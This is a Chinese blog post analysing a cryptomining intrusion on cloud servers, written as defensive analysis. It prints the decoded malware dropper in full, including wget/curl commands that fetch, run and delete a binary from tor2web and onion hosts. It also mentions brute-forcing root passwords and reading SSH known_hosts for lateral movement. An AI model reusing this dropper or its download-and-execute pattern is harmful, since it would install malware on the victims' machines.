挖矿病毒入侵-分析总结

　　最近，托管云平台出现大量的挖矿病毒；没有安全意识的小伙伴们就只能乖乖交智商税了；

　　挣扎了好几回，抓了好几次入侵行为；终于反过来收缴了些入侵脚本；（果然，飞机大炮还是得靠敌人送过来）

　　在此做下简单的分析，希望能给大伙一些小小的灵感；

##一个朴实无华的脚本，base64 编码，一脸懵逼；要不是从 /proc/PID 找到线索，还真得被毒打一顿；

##解密base64 发现；哟哟哟，这脚本很有想法；

(到此处，跟运维同事起了争议；一个认为写域名请求的是傻逼，一个host域名绑定解析就GG了，写死IP才对；另一个认为，写死IP，防火墙直接过滤IP，马上GG ---- 薛定谔之运维工程师)

exec &>/dev/null

##继续顺藤摸瓜，请求 rapid7cpfqnwxodo.tor2web.io/cron.sh 网址，拿到下一步操作脚本；又是顿虎虎的加密；

##继续解密操作，渐渐的好像发现的入侵代码了；只能说，这代码写得跟鬼一样，不懂shell 还真被忽悠住了，咱继续；

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

x() {
x=/systemd-login
z=./$(cat /dev/urandom | tr -cd [:alnum:]|head -c 6)
wget -t1 -T180 -qU- --no-check-certificate $1$x -O$z || curl -m180 -fsSLkA- $1$x -o$z
chmod +x $z;$z;rm -f $z
}
cd /tmp
touch /dev/shm/asdf && cd /dev/shm/
touch /var/tmp/asdf && cd /var/tmp/
touch /usr/bin/asdf && cd /usr/bin/
touch /data/consul/asdf && cd /data/consul/
touch /opt/consul-data/asdf && cd /opt/consul-data/
rm -f /*/*/asdf
for h in aptgetgxqs3secda.tor2web.io aptgetgxqs3secda.onion.to aptgetgxqs3secda.d2web.org aptgetgxqs3secda.onion.in.net aptgetgxqs3secda.tor2web.su
do
if ! ps -p $(cat /tmp/.X1M-unix); then
x $h
else
break
fi
done

## 一顿for 循环的实际目的，拿到个hhww123 的一个二进制执行文件；

##wget命令拿不到就用curl 命令
wget -t1 -T180 -qU- --no-check-certificate  aptgetgxqs3secda.tor2web.io/systemd-login  -O hhww123  ||
curl -m180 -fsSLkA-  aptgetgxqs3secda.tor2web.io/systemd-login  -O hhww123

##最后一个操作：授可执行权限；执行；删除掉执行文件；
 chmod +x hhww123; hhww123;rm -f hhww123

##至此完美的种下了挖矿病毒；

大伙看到这里，会发现，原来入侵如此简单；可能由于网络安全法等原因，这入侵除了不可反编译看源码的hhww123 二进制文件以外；并没有其他恶意的操作；

接下来给大伙演示下些恶意满满的入侵代码；

##这是我第一次看到这么有礼貌的入侵，绅士得让我心中不断MMP；要不是看到一堆rm -rf 和 kill -9 的恶意操作，我差点就信了；

演示案例②

##这个就厉害了，入侵前应该是做了个root 的密码弱口令暴力猜解；

（注：在此之前，曾找到个.pw 的密码字典；不知道哪位大佬的，有足足二三十万的弱口令枚举；root用户使用密码方式似乎岌岌可危；但如果全部用密钥交换登录形式，对核心堡垒机的考验很大；只要入侵成功，仅仅需要 cat /root/.ssh/known_hosts 拿到主机记录，立马全家一起被端了；）

总结分析：

安全只是相对的，没有绝对的安全可言；

　　对于上述的挖矿病毒来说，未知其入侵源头的话；

　　只能用治标不治本的办法；禁用相关网络组件或避免不可挽回的操作命令被执行；

　　例如：wget、curl、rm、kill、echo 等等；
